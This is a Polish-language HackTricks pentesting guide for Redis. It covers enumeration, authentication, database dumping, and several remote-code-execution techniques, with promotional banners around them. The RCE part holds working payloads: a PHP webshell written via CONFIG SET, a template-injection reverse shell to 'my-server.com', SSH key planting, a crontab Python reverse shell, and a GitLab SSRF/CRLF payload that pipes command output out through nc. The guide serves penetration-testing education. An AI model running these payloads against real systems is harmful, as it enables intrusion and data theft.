hacktricks/network-services-pentesting/6379-pentesting-redis.md

340 lines
20 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Testowanie penetracyjne Redis
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Spostrzeżenia z Hakerstwa**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Aktualności z Hakerstwa na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spostrzeżeniom na żywo
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Podstawowe informacje
Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarty system (licencja BSD), przechowujący dane w pamięci, używany jako baza danych, pamięć podręczna i broker wiadomości.
Domyślnie Redis używa protokołu opartego na tekście, ale należy pamiętać, że może również implementować **ssl/tls**. Dowiedz się, jak [uruchomić Redis z ssl/tls tutaj](https://fossies.org/linux/redis/TLS.md).
**Domyślny port:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Automatyczne wyliczenie
Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## Ręczne wyliczanie
### Baner
Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie przez gniazdo** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale jest to bardzo dziwne).
W zwykłej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz także użyć `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Pierwszą **komendą**, którą możesz spróbować jest **`info`**. Może ona zwrócić wynik z informacjami o instancji Redis lub coś w rodzaju poniższego wyniku:
```
-NOAUTH Authentication required.
```
W tym ostatnim przypadku oznacza to, że **potrzebujesz prawidłowych poświadczeń** dostępu do instancji Redis.
### Autoryzacja Redis
Domyślnie Redis można uzyskać dostęp **bez poświadczeń**. Jednakże można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\
Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi łącząc się z nią i wykonując: `config set requirepass p@ss$12E45`.\
Dodatkowo, **nazwa użytkownika** może być skonfigurowana w parametrze `masteruser` w pliku _**redis.conf**_.
{% hint style="info" %}
Jeśli skonfigurowano tylko hasło, używana jest nazwa użytkownika "**default**".\
Zauważ również, że **nie ma sposobu, aby zewnętrznie sprawdzić**, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem.
{% endhint %}
W przypadkach takich jak ten będziesz **musiał znaleźć prawidłowe poświadczenia** do interakcji z Redis, więc możesz spróbować [**próbować siłowo**](../generic-methodologies-and-resources/brute-force.md#redis).\
**Jeśli znalazłeś prawidłowe poświadczenia, musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia:
```bash
AUTH <username> <password>
```
**Poprawne dane uwierzytelniające** zostaną odpowiedziane: `+OK`
### **Uwierzytelniona enumeracja**
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś poprawne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Inne polecenia Redis** [**znajdują się tutaj**](https://redis.io/topics/data-types-intro) **oraz** [**tutaj**](https://lzone.de/cheat-sheet/Redis)**.**
Zauważ, że **polecenia Redis instancji mogą być zmienione nazwane** lub usunięte w pliku _redis.conf_. Na przykład ta linia usunie polecenie FLUSHDB:
```
rename-command FLUSHDB ""
```
Więcej informacji na temat bezpiecznej konfiguracji usługi Redis znajdziesz tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Możesz również **monitorować w czasie rzeczywistym wykonywane polecenia Redis** za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą **`slowlog get 25`**
Znajdź więcej interesujących informacji na temat innych poleceń Redis tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumpowanie bazy danych**
Wewnątrz Redis **bazy danych są numerowane, zaczynając od 0**. Możesz sprawdzić, czy któraś jest używana w wyniku polecenia `info` w sekcji "Keyspace":
![](<../.gitbook/assets/image (766).png>)
Możesz także po prostu uzyskać wszystkie **keyspaces** (bazy danych) za pomocą:
```
INFO keyspace
```
W tym przykładzie używane są **bazy danych 0 i 1**. **Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1**. Domyślnie Redis będzie używał bazy danych 0. Aby wyeksportować na przykład bazę danych 1, należy wykonać:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
W przypadku otrzymania następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET <KEY>` oznacza to, że klucz może być czymś innym niż ciąg znaków lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia go.
Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasza.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**Wyciek bazy danych za pomocą npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **lub pythona** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Spostrzeżenia dotyczące Hackingu**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim światem hackingu dzięki aktualnościom i spostrzeżeniom na żywo
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Redis RCE
### Interaktywna Powłoka
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę odwrotną w Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
Informacje z [**tutaj**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Musisz znać **ścieżkę** do **folderu witryny**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
Jeśli wystąpi wyjątek dostępu do webshell, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj o przywróceniu bazy danych.
### Szablon Webshell
Podobnie jak w poprzednim rozdziale, możesz również nadpisać pewien plik szablonu HTML, który zostanie zinterpretowany przez silnik szablonów i uzyskać shell.
Na przykład, patrząc na [**ten opis**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), możesz zobaczyć, że atakujący wstrzyknął **rev shell w html** interpretowany przez silnik szablonów **nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
Zauważ, że **kilka silników szablonów przechowuje** szablony w **pamięci**, więc nawet jeśli je nadpiszesz, nowy **nie zostanie wykonany**. W takich przypadkach albo programista pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić atak typu DoS na usługę (i oczekiwać, że zostanie ona automatycznie ponownie uruchomiona).
{% endhint %}
### SSH
Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Proszę pamiętać, że wynik polecenia **`config get dir`** może ulec zmianie po wykonaniu innych poleceń eksploitacyjnych. Zaleca się uruchomienie go jako pierwszego zaraz po zalogowaniu się do Redis. W wyniku polecenia **`config get dir`** możesz znaleźć **katalog domowy** użytkownika **redis** (zazwyczaj _/var/lib/redis_ lub _/home/redis/.ssh_), co pozwoli Ci określić, gdzie możesz zapisać plik `authenticated_users` w celu uzyskania dostępu za pomocą ssh **z użytkownikiem redis**. Jeśli znasz katalog domowy innego ważnego użytkownika, do którego masz uprawnienia do zapisu, możesz go również wykorzystać:
1. Wygeneruj parę kluczy publiczny-prywatny ssh na swoim komputerze: **`ssh-keygen -t rsa`**
2. Zapisz klucz publiczny do pliku: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Zaimportuj plik do redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Zapisz klucz publiczny w pliku **authorized\_keys** na serwerze redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Wreszcie, możesz **ssh** na **serwer redis** z kluczem prywatnym: **ssh -i id\_rsa redis@10.85.0.52**
**Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
Ostatni przykład dotyczy Ubuntu, dla **Centos**, powyższe polecenie powinno być: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Ta metoda może również być użyta do zarabiania bitcoinów: [yam](https://www.v2ex.com/t/286981#reply14)
### Załaduj moduł Redis
1. Postępując zgodnie z instrukcjami z [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) możesz **skompilować moduł redis do wykonywania dowolnych poleceń**.
2. Następnie potrzebujesz sposobu **wgrania skompilowanego** modułu
3. **Załaduj wgrany moduł** podczas działania z `MODULE LOAD /ścieżka/do/mymodule.so`
4. **Wyświetl załadowane moduły** aby sprawdzić, czy został poprawnie załadowany: `MODULE LIST`
5. **Wykonaj polecenia**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Wyładowuj moduł w dowolnym momencie: `MODULE UNLOAD mymodule`
### Bypass bezpiecznej przestrzeni LUA
[Tutaj](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) możesz zobaczyć, że Redis używa polecenia **EVAL** do wykonania **kodu Lua w bezpiecznej przestrzeni**. W połączonym poście możesz zobaczyć, **jak to wykorzystać** używając funkcji **dofile**, ale [podobno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to już nie jest możliwe. W każdym razie, jeśli uda ci się **obejść bezpieczną przestrzeń Lua**, możesz **wykonywać dowolne** polecenia w systemie. Ponadto, z tego samego postu możesz zobaczyć kilka **opcji wywołania DoS**.
Niektóre **CVE umożliwiające ucieczkę z LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Moduł Master-Slave
Wszystkie operacje na głównym redisie są automatycznie synchronizowane z redisem podrzędnym, co oznacza, że możemy traktować podatny redis jako redis podrzędny, podłączony do głównego redisu, który jest pod naszą kontrolą, dzięki czemu możemy wprowadzić polecenia do naszego własnego redisa.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF rozmawiając z Redis
Jeśli możesz wysłać żądanie **czystym tekstem do Redis**, możesz z nim **komunikować się**, ponieważ Redis będzie czytał żądanie linijka po linijce i odpowiadał tylko błędami na linie, których nie rozumie:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Dlatego jeśli znajdziesz **lukę SSRF** na stronie internetowej i będziesz mógł **kontrolować** niektóre **nagłówki** (być może za pomocą luki CRLF) lub **parametry POST**, będziesz mógł wysyłać dowolne polecenia do Redis.
### Przykład: Gitlab SSRF + CRLF na Shell
W **Gitlab11.4.7** odkryto **lukę SSRF** oraz **CRLF**. **Luka SSRF** znajdowała się w **funkcjonalności importowania projektu z adresu URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (co pozwala na dostęp do 127.0.0.1), a **luka CRLF** była wykorzystywana poprzez dodanie znaków **%0D%0A** do **adresu URL**.
Dlatego było możliwe **wykorzystanie tych podatności do komunikacji z instancją Redis**, która **zarządza kolejkami** z **gitlab** i nadużywanie tych kolejek do **uzyskania wykonania kodu**. Payload nadużycia kolejki Redis to:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
A **kodowanie URL** żądanie **wykorzystujące SSRF** i **CRLF** do wykonania polecenia `whoami` i przesłania wyniku za pomocą `nc` to:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Dlaczegoś (jak autor_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) eksploatacja działała ze schematem `git`, a nie ze schematem `http`._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wgląd w Hacking**\
Zanurz się w treściach, które zgłębiają emocje i wyzwania hackowania
**Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i wglądom na żywo
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>